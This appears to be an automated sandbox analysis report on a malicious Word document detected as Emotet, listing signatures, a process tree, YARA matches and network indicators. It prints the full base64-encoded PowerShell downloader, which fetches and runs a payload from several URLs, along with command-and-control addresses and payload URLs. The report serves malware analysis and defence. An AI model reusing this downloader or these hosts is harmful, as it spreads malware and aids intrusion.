Loading ...

Play interactive tourEdit tour

Analysis Report SecuriteInfo.com.Exploit.Siggen2.12175.24263.28979

Overview

General Information

Sample Name:SecuriteInfo.com.Exploit.Siggen2.12175.24263.28979 (renamed file extension from 28979 to doc)
Analysis ID:255731
MD5:9303da63c03de4b45d64d545c4898582
SHA1:4e45c2b76cdbb4852610fc74a5e0d65c4ce66b3c
SHA256:919a80b6e13ad304ca8f48f033d7b69939593d9bb35336e7934306593b8f6c40

Most interesting Screenshot:

Detection

Emotet
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Malicious encrypted Powershell command line found
Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)
Yara detected Emotet
Yara detected Emotet Downloader
Changes security center settings (notifications, updates, antivirus, firewall)
Creates processes via WMI
Document contains VBA stomped code (only p-code) potentially bypassing AV detection
Document contains an embedded VBA with many randomly named variables
Drops executables to the windows directory (C:\Windows) and starts them
Encrypted powershell cmdline option found
Hides that the sample has been downloaded from the Internet (zone.identifier)
PowerShell case anomaly found
Very long command line found
AV process strings found (often used to terminate AV products)
Allocates a big amount of memory (probably used for heap spraying)
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Contains capabilities to detect virtual machines
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Contains functionality to dynamically determine API calls
Contains long sleeps (>= 3 min)
Creates a DirectInput object (often for capturing keystrokes)
Creates files inside the system directory
Detected potential crypto function
Document contains an embedded VBA macro which executes code when the document is opened / closed
Document contains embedded VBA macros
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
May sleep (evasive loops) to hinder dynamic analysis
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Potential key logger detected (key state polling based)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match

Classification

Startup

  • System is w10x64
  • WINWORD.EXE (PID: 6940 cmdline: 'C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE' /Automation -Embedding MD5: 0B9AB9B9C4DE429473D6450D4297A123)
  • svchost.exe (PID: 7016 cmdline: c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc MD5: 32569E403279B3FD2EDB7EBD036273FA)
  • svchost.exe (PID: 7064 cmdline: C:\Windows\System32\svchost.exe -k NetworkService -p MD5: 32569E403279B3FD2EDB7EBD036273FA)
  • SgrmBroker.exe (PID: 7156 cmdline: C:\Windows\system32\SgrmBroker.exe MD5: D3170A3F3A9626597EEE1888686E3EA6)
  • svchost.exe (PID: 4992 cmdline: c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvc MD5: 32569E403279B3FD2EDB7EBD036273FA)
    • MpCmdRun.exe (PID: 1836 cmdline: 'C:\Program Files\Windows Defender\mpcmdrun.exe' -wdenable MD5: A267555174BFA53844371226F482B86B)
      • conhost.exe (PID: 1776 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
  • powershell.exe (PID: 5048 cmdline: powersheLL -e JABSAFcAVQBIAE8AYQBxAHQAPQAnAFoAVwBSAEcAVwBiAHQAegAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAQwBVAFIAaQB0AGAAeQBgAFAAUgBvAFQAbwBDAGAAbwBMACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQAQgBJAFIAUwBCAHEAeQBnACAAPQAgACcANAA2ADMAJwA7ACQARgBKAEkATgBFAGoAaQBkAD0AJwBUAEYARwBEAEIAbAB2AGMAJwA7ACQASgBCAFIAVQBGAGUAcwBvAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABCAEkAUgBTAEIAcQB5AGcAKwAnAC4AZQB4AGUAJwA7ACQAQwBNAFEARABMAG0AcwBzAD0AJwBWAE0AUABaAEMAZQBjAGIAJwA7ACQAWgBaAFYASgBBAHYAagBuAD0AJgAoACcAbgBlAHcALQAnACsAJwBvAGIAJwArACcAagAnACsAJwBlAGMAdAAnACkAIABuAEUAVAAuAHcAZQBiAGMAbABpAGUATgBUADsAJABaAE8ATgBGAFQAcgBqAGwAPQAnAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBsAGkAYgByAGUAcgBvAC4AeAB5AHoALwBTAGMAcgBpAHAAdABzAC8AMwB5AF8AbQAwAGMAYgBlAF8AbABwAGcAbwBqADcAegAvACoAaAB0AHQAcABzADoALwAvAHMAYwBvAGUAbgB1AGcAYQBuAGQAYQAuAG8AcgBnAC8AdwBwAC0AYQBkAG0AaQBuAC8AawBfAGYAaABzAHYAYwBfAHcAbgBpADIAegB4AHoAcgBjAC8AKgBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBkAHUAbgBuAHIAaQB0AGUAcABsAHUAbQBiAGkAbgBnAC4AYwBhAC8AdwBwAC0AYQBkAG0AaQBuAC8AMQAyAHgAXwBqAGEAYQBxAF8AbwAzAC8AKgBoAHQAdABwADoALwAvAHcAdwB3AC4AbgBhAGoAYwBvAHMAbQBlAHQAaQBjAHMALgBjAG8AbQAvAGkAbQBnAC8AaAB2AGcAbAB2AF8AaABhAHkAXwAzADUAcwBhAGMAbwBkAGcALwAqAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBvAHgAYQBoAGEAdQBzAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBkADgAdABlAGIAXwBuADAAdgAwAGgAXwBkAG0AMAB1AHkAbwBrAC8AJwAuACIAcwBQAGAAbABJAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABKAEkAUABYAEcAeAB2AGEAPQAnAFMAVABQAFYAQQB6AGwAdwAnADsAZgBvAHIAZQBhAGMAaAAoACQATQBIAFgAQwBIAHAAbgB5ACAAaQBuACAAJABaAE8ATgBGAFQAcgBqAGwAKQB7AHQAcgB5AHsAJABaAFoAVgBKAEEAdgBqAG4ALgAiAGQAbwBgAHcATgBMAGAATwBBAEQARgBpAGAAbABlACIAKAAkAE0ASABYAEMASABwAG4AeQAsACAAJABKAEIAUgBVAEYAZQBzAG8AKQA7ACQARwBCAFgAVgBVAG0AdABtAD0AJwBGAFUARABDAEIAYQBxAG0AJwA7AEkAZgAgACgAKAAmACgAJwBHACcAKwAnAGUAdAAnACsAJwAtAEkAdABlAG0AJwApACAAJABKAEIAUgBVAEYAZQBzAG8AKQAuACIATABFAGAATgBHAFQASAAiACAALQBnAGUAIAAzADQAOAA1ADAAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAEMAYABSAGAARQBhAHQAZQAiACgAJABKAEIAUgBVAEYAZQBzAG8AKQA7ACQARgBGAFQASQBMAGEAYQB5AD0AJwBaAEwAUQBPAEYAZgB2AHoAJwA7AGIAcgBlAGEAawA7ACQATgBPAEMARABVAGcAcABnAD0AJwBRAFIAUABGAE8AZwBzAHIAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQATQBTAE0AVgBVAG4AdABtAD0AJwBQAEcAWABXAEYAYQBzAHoAJwA= MD5: 95000560239032BC68B4C2FDFCDEF913)
    • conhost.exe (PID: 2288 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
  • 463.exe (PID: 6360 cmdline: C:\Users\user\463.exe MD5: B909155B1D6C2B637A8A103823F472E9)
    • Windows.Networking.Proximity.exe (PID: 6548 cmdline: C:\Windows\SysWOW64\SystemPropertiesComputerName\Windows.Networking.Proximity.exe MD5: B909155B1D6C2B637A8A103823F472E9)
  • svchost.exe (PID: 4164 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)
  • svchost.exe (PID: 5444 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)
  • svchost.exe (PID: 3824 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)
  • svchost.exe (PID: 5304 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)
  • svchost.exe (PID: 3112 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)
  • cleanup

Malware Configuration

No configs have been found

Yara Overview

Dropped Files

SourceRuleDescriptionAuthorStrings
C:\Users\user\Documents\20200802\PowerShell_transcript.134349.8bR+z5C+.20200802004011.txtPowerShell_Case_AnomalyDetects obfuscated PowerShell hacktoolsFlorian Roth
  • 0x23:$s1: PowerShell
  • 0x103:$s1: powersheLL
  • 0x1085:$s1: PowerShell
  • 0x23:$sr1: PowerShell
  • 0x1085:$sr1: PowerShell
  • 0x23:$sn3: PowerShell
  • 0x1085:$sn3: PowerShell
  • 0x105:$a1: wersheLL -e
C:\Users\user\Documents\20200802\PowerShell_transcript.134349.8bR+z5C+.20200802004011.txtJoeSecurity_EmotetDownloaderYara detected Emotet DownloaderJoe Security

    Memory Dumps

    SourceRuleDescriptionAuthorStrings
    00000009.00000002.553611652.00000000006F0000.00000040.00000001.sdmpJoeSecurity_EmotetYara detected EmotetJoe Security
      00000008.00000002.305656630.0000000000531000.00000020.00000001.sdmpJoeSecurity_EmotetYara detected EmotetJoe Security
        00000009.00000002.553632665.0000000000701000.00000020.00000001.sdmpJoeSecurity_EmotetYara detected EmotetJoe Security
          00000008.00000002.305615599.0000000000520000.00000040.00000001.sdmpJoeSecurity_EmotetYara detected EmotetJoe Security

            Sigma Overview

            No Sigma rule has matched

            Signature Overview

            Click to jump to signature section

            Show All Signature Results
            Source: C:\Users\user\463.exeCode function: 8_2_0042645E FindFirstFileA,FindClose,8_2_0042645E
            Source: C:\Users\user\463.exeCode function: 8_2_00401770 FindFirstFileA,FindClose,8_2_00401770
            Source: C:\Users\user\463.exeCode function: 8_2_004018B0 FindFirstFileA,FindNextFileA,FindClose,8_2_004018B0
            Source: C:\Users\user\463.exeCode function: 8_2_00425B9E __EH_prolog,GetFullPathNameA,lstrcpynA,GetVolumeInformationA,CharUpperA,FindFirstFileA,FindClose,lstrcpyA,8_2_00425B9E
            Source: C:\Users\user\463.exeCode function: 8_2_00401BB0 FindFirstFileA,FindNextFileA,FindNextFileA,FindClose,8_2_00401BB0
            Source: C:\Windows\SysWOW64\SystemPropertiesComputerName\Windows.Networking.Proximity.exeCode function: 9_2_0042645E FindFirstFileA,FindClose,9_2_0042645E
            Source: C:\Windows\SysWOW64\SystemPropertiesComputerName\Windows.Networking.Proximity.exeCode function: 9_2_00401770 FindFirstFileA,FindClose,9_2_00401770
            Source: C:\Windows\SysWOW64\SystemPropertiesComputerName\Windows.Networking.Proximity.exeCode function: 9_2_004018B0 FindFirstFileA,FindNextFileA,FindClose,9_2_004018B0
            Source: C:\Windows\SysWOW64\SystemPropertiesComputerName\Windows.Networking.Proximity.exeCode function: 9_2_00425B9E __EH_prolog,GetFullPathNameA,lstrcpynA,GetVolumeInformationA,CharUpperA,FindFirstFileA,FindClose,lstrcpyA,9_2_00425B9E
            Source: C:\Windows\SysWOW64\SystemPropertiesComputerName\Windows.Networking.Proximity.exeCode function: 9_2_00401BB0 FindFirstFileA,FindNextFileA,FindNextFileA,FindClose,9_2_00401BB0
            Source: winword.exeMemory has grown: Private usage: 0MB later: 64MB
            Source: global trafficDNS query: name: www.librero.xyz
            Source: global trafficTCP traffic: 192.168.2.6:49727 -> 138.128.181.122:443
            Source: global trafficTCP traffic: 192.168.2.6:49726 -> 65.99.252.93:80

            Networking:

            barindex
            Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)Show sources
            Source: TrafficSnort IDS: 2404306 ET CNC Feodo Tracker Reported CnC Server TCP group 4 192.168.2.6:49734 -> 142.105.151.124:443
            Source: global trafficHTTP traffic detected: GET /Scripts/3y_m0cbe_lpgoj7z/ HTTP/1.1Host: www.librero.xyzConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET /cgi-sys/suspendedpage.cgi HTTP/1.1Host: www.librero.xyz
            Source: global trafficHTTP traffic detected: POST /RRSwmMna1n6tk9x/q9vZ1qJVI/UtsCh/FR38d6bDWZov0KlkVoY/ HTTP/1.1Referer: http://142.105.151.124/RRSwmMna1n6tk9x/q9vZ1qJVI/UtsCh/FR38d6bDWZov0KlkVoY/Content-Type: multipart/form-data; boundary=---------------------------193614120244255User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 142.105.151.124:443Content-Length: 4612Connection: Keep-AliveCache-Control: no-cache
            Source: unknownTCP traffic detected without corresponding DNS query: 142.105.151.124
            Source: unknownTCP traffic detected without corresponding DNS query: 142.105.151.124
            Source: unknownTCP traffic detected without corresponding DNS query: 142.105.151.124
            Source: unknownTCP traffic detected without corresponding DNS query: 142.105.151.124
            Source: unknownTCP traffic detected without corresponding DNS query: 142.105.151.124
            Source: unknownTCP traffic detected without corresponding DNS query: 142.105.151.124
            Source: global trafficHTTP traffic detected: GET /Scripts/3y_m0cbe_lpgoj7z/ HTTP/1.1Host: www.librero.xyzConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET /cgi-sys/suspendedpage.cgi HTTP/1.1Host: www.librero.xyz
            Source: svchost.exe, 00000017.00000003.532218215.0000024B3D55A000.00000004.00000001.sdmpString found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","SkuTitle":"Spotify Music","Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","NO","OM","PK","PE","PH","PL","PT","QA","RO","RU","SA","RS","SG","SK","SI","ZA","KR","ES","SE","CH","TW","TH","TT","TN","TR","UA","AE","GB","VN","YE","LY","LK","UY","VE","AF","AX","AL","AS","AO","AI","AQ","AG","AM","AW","BO","BQ","BA","BW","BV","IO","BN","BF","BI","KH","CM","CV","KY","CF","TD","TL","DJ","DM","DO","EC","SV","GQ","ER","ET","FK","FO","FJ","GF","PF","TF","GA","GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","AZ","BS","BB","BY","BZ","BJ","BM","BT","KM","CG","CD","CK","CX","CC","CI","CW","JM","SJ","JE","KI","KG","LA","LS","LR","MO","MK","MG","MW","IM","MH","MQ","MU","YT","FM","MD","MN"," equals www.facebook.com (Facebook)
            Source: svchost.exe, 00000017.00000003.532218215.0000024B3D55A000.00000004.00000001.sdmpString found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","SkuTitle":"Spotify Music","Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","NO","OM","PK","PE","PH","PL","PT","QA","RO","RU","SA","RS","SG","SK","SI","ZA","KR","ES","SE","CH","TW","TH","TT","TN","TR","UA","AE","GB","VN","YE","LY","LK","UY","VE","AF","AX","AL","AS","AO","AI","AQ","AG","AM","AW","BO","BQ","BA","BW","BV","IO","BN","BF","BI","KH","CM","CV","KY","CF","TD","TL","DJ","DM","DO","EC","SV","GQ","ER","ET","FK","FO","FJ","GF","PF","TF","GA","GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","AZ","BS","BB","BY","BZ","BJ","BM","BT","KM","CG","CD","CK","CX","CC","CI","CW","JM","SJ","JE","KI","KG","LA","LS","LR","MO","MK","MG","MW","IM","MH","MQ","MU","YT","FM","MD","MN"," equals www.twitter.com (Twitter)
            Source: unknownDNS traffic detected: queries for: www.librero.xyz
            Source: unknownHTTP traffic detected: POST /RRSwmMna1n6tk9x/q9vZ1qJVI/UtsCh/FR38d6bDWZov0KlkVoY/ HTTP/1.1Referer: http://142.105.151.124/RRSwmMna1n6tk9x/q9vZ1qJVI/UtsCh/FR38d6bDWZov0KlkVoY/Content-Type: multipart/form-data; boundary=---------------------------193614120244255User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 142.105.151.124:443Content-Length: 4612Connection: Keep-AliveCache-Control: no-cache
            Source: Windows.Networking.Proximity.exe, 00000009.00000002.553846513.0000000000795000.00000004.00000020.sdmpString found in binary or memory: http://142.105.151.124/RRSwmMna1n6tk9x/q9vZ1qJVI/UtsCh/FR38d6bDWZov0KlkVoY/
            Source: Windows.Networking.Proximity.exe, 00000009.00000002.555404206.0000000002682000.00000004.00000001.sdmp, Windows.Networking.Proximity.exe, 00000009.00000002.553846513.0000000000795000.00000004.00000020.sdmpString found in binary or memory: http://142.105.151.124:443/RRSwmMna1n6tk9x/q9vZ1qJVI/UtsCh/FR38d6bDWZov0KlkVoY/
            Source: Windows.Networking.Proximity.exe, 00000009.00000002.555483727.0000000002695000.00000004.00000001.sdmpString found in binary or memory: http://142.105.151.124:443/RRSwmMna1n6tk9x/q9vZ1qJVI/UtsCh/FR38d6bDWZov0KlkVoY/S
            Source: Windows.Networking.Proximity.exe, 00000009.00000002.553846513.0000000000795000.00000004.00000020.sdmpString found in binary or memory: http://142.105.151.124:443/RRSwmMna1n6tk9x/q9vZ1qJVI/UtsCh/FR38d6bDWZov0KlkVoY/y
            Source: svchost.exe, 00000017.00000002.547937678.0000024B3CC71000.00000004.00000001.sdmpString found in binary or memory: http://crl3.digicert.com/Omniroot2025.crl0=
            Source: svchost.exe, 00000017.00000002.547937678.0000024B3CC71000.00000004.00000001.sdmpString found in binary or memory: http://ocsp.digicert.com0:
            Source: svchost.exe, 00000017.00000002.548347339.0000024B3D500000.00000004.00000001.sdmpString found in binary or memory: http://ocsp.msocsp.com0
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: http://olkflt.edog.officeapps.live.com/olkflt/outlookflighting.svc/api/glides
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: http://weather.service.msn.com/data.aspx
            Source: svchost.exe, 00000002.00000002.311599714.000001E8E9413000.00000004.00000001.sdmpString found in binary or memory: http://www.bingmapsportal.com
            Source: PowerShell_transcript.134349.8bR+z5C+.20200802004011.txt.5.drString found in binary or memory: http://www.librero.xyz/Scripts/3y_m0cbe_lpgoj7z/
            Source: PowerShell_transcript.134349.8bR+z5C+.20200802004011.txt.5.drString found in binary or memory: http://www.najcosmetics.com/img/hvglv_hay_35sacodg/
            Source: PowerShell_transcript.134349.8bR+z5C+.20200802004011.txt.5.drString found in binary or memory: http://www.oxahaus.com/wp-admin/d8teb_n0v0h_dm0uyok/
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://analysis.windows.net/powerbi/api
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://apc.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://api.aadrm.com/
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://api.diagnostics.office.com
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://api.diagnosticssdf.office.com
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://api.microsoftstream.com/api/
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://api.onedrive.com
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://api.powerbi.com/beta/myorg/imports
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://api.powerbi.com/v1.0/myorg/datasets
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://api.powerbi.com/v1.0/myorg/groups
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://apis.live.net/v5.0/
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://app.powerbi.com/taskpane.html
            Source: svchost.exe, 00000002.00000003.307058724.000001E8E945F000.00000004.00000001.sdmpString found in binary or memory: https://appexmapsappupdate.blob.core.windows.net
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://arc.msn.com/v4/api/selection
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://asgsmsproxyapi.azurewebsites.net/
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://augloop.office.com
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://cdn.entity.
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://cdn.odc.officeapps.live.com/odc/stat/images/OneDriveUpsell.png
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSignUpUpsell
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSyncClientUpsell
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://client-office365-tas.msedge.net/ab
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://clients.config.office.net/
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://clients.config.office.net/user/v1.0/android/policies
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://clients.config.office.net/user/v1.0/ios
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://clients.config.office.net/user/v1.0/mac
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://clients.config.office.net/user/v1.0/tenantassociationkey
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://cloudfiles.onenote.com/upload.aspx
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://config.edge.skype.com
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://config.edge.skype.com/config/v1/Office
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://config.edge.skype.com/config/v2/Office
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://cortana.ai
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://cr.office.com
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://dataservice.o365filtering.com
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://dataservice.o365filtering.com/
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://dataservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPolicies
            Source: svchost.exe, 00000002.00000003.307093175.000001E8E9449000.00000004.00000001.sdmpString found in binary or memory: https://dev.ditu.live.com/REST/v1/Imagery/Copyright/
            Source: svchost.exe, 00000002.00000003.307058724.000001E8E945F000.00000004.00000001.sdmpString found in binary or memory: https://dev.ditu.live.com/REST/v1/Locations
            Source: svchost.exe, 00000002.00000002.311827885.000001E8E943D000.00000004.00000001.sdmpString found in binary or memory: https://dev.ditu.live.com/REST/v1/Routes/
            Source: svchost.exe, 00000002.00000003.307058724.000001E8E945F000.00000004.00000001.sdmpString found in binary or memory: https://dev.ditu.live.com/mapcontrol/logging.ashx
            Source: svchost.exe, 00000002.00000003.307067333.000001E8E944D000.00000004.00000001.sdmpString found in binary or memory: https://dev.ditu.live.com/mapcontrol/mapconfiguration.ashx?name=native&v=
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/
            Source: svchost.exe, 00000002.00000003.285003987.000001E8E942F000.00000004.00000001.sdmpString found in binary or memory: https://dev.virtualearth.net/REST/v1/Imagery/Copyright/
            Source: svchost.exe, 00000002.00000003.285003987.000001E8E942F000.00000004.00000001.sdmpString found in binary or memory: https://dev.virtualearth.net/REST/v1/JsonFilter/VenueMaps/data/
            Source: svchost.exe, 00000002.00000002.311827885.000001E8E943D000.00000004.00000001.sdmpString found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/
            Source: svchost.exe, 00000002.00000003.307058724.000001E8E945F000.00000004.00000001.sdmpString found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Driving
            Source: svchost.exe, 00000002.00000003.307058724.000001E8E945F000.00000004.00000001.sdmpString found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Transit
            Source: svchost.exe, 00000002.00000003.307058724.000001E8E945F000.00000004.00000001.sdmpString found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Walking
            Source: svchost.exe, 00000002.00000003.285003987.000001E8E942F000.00000004.00000001.sdmpString found in binary or memory: https://dev.virtualearth.net/REST/v1/Traffic/Incidents/
            Source: svchost.exe, 00000002.00000003.307135858.000001E8E9440000.00000004.00000001.sdmpString found in binary or memory: https://dev.virtualearth.net/REST/v1/Transit/Schedules/
            Source: svchost.exe, 00000002.00000003.307135858.000001E8E9440000.00000004.00000001.sdmpString found in binary or memory: https://dev.virtualearth.net/mapcontrol/HumanScaleServices/GetBubbles.ashx?n=
            Source: svchost.exe, 00000002.00000003.307058724.000001E8E945F000.00000004.00000001.sdmpString found in binary or memory: https://dev.virtualearth.net/mapcontrol/logging.ashx
            Source: svchost.exe, 00000002.00000003.307135858.000001E8E9440000.00000004.00000001.sdmpString found in binary or memory: https://dev.virtualearth.net/webservices/v1/LoggingService/LoggingService.svc/Log?
            Source: svchost.exe, 00000002.00000003.285003987.000001E8E942F000.00000004.00000001.sdmpString found in binary or memory: https://dev.virtualearth.net/webservices/v1/LoggingService/LoggingService.svc/Log?entry=
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://dev0-api.acompli.net/autodetect
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://devnull.onenote.com
            Source: 60EA872B-45DB-4AA7-8BCC-902AA9FF69E0.0.drString found in binary or memory: https://directory.services.
            Source: svchost.exe, 00000017.00000003.533765270.0000024B3D521000.00000004.00000001.sdmpString found in binary or memory: https://displaycatalog.mp.microsofx%
            Source: svchost.exe, 00000002.00000003.307093175.000001E8E9449000.00000004.00000001.sdmpString found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&r=
            Source: svchost.exe, 00000002.00000002.311864847.000001E8E944B000.00000004.00000001.sdmpString found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gdi?pv=1&r=
            Source: svchost.exe, 00000002.00000002.311864847.000001E8E944B000.00000004.00000001.sdmpString found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gdv?pv=1&r=
            Source: svchost.exe, 00000002.00000003.307093175.000001E8E9449000.00000004.00000001.sdmpString found in binary or memory: https://dynamic.t
            Source: svchost.exe, 00000002.00000003.307058724.000001E8E945F000.00000004.00000001.sdmpString found in binary or memory: https://dynamic.t0.tiles.ditu.live.com/comp/gen.ashx
